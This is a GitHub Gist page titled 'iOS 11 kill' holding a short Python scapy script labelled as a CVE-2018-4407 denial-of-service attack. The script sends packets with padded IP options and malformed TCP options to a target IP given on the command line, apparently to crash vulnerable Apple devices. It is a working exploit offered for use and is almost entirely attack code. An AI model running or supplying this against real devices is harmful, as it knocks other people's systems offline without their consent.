Skip to content

Instantly share code, notes, and snippets.

@oboje
Created November 6, 2018 19:24
Show Gist options
  • Select an option

  • Save oboje/8e93987a8abf7196cb379eb1797b72cc to your computer and use it in GitHub Desktop.

Select an option

Save oboje/8e93987a8abf7196cb379eb1797b72cc to your computer and use it in GitHub Desktop.
iOS 11 kill
# CVE-2018-4407 ICMP DOS
from scapy.layers.inet import IPOption, TCP, IP
from scapy.all import *
from scapy import *
if __name__ == '__main__':
try:
check_ip = sys.argv[1]
print('CVE-2018-4407 ICMP DOS - ' + check_ip)
for i in range(8, 20):
send(IP(dst=check_ip, options=[IPOption("A" * i)]) / TCP(dport=2323, options=[(19, "1" * 18), (19, "2" * 18)]))
print("[*] Done")
except Exception:
print('usage: sudo python3 check.py IP')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment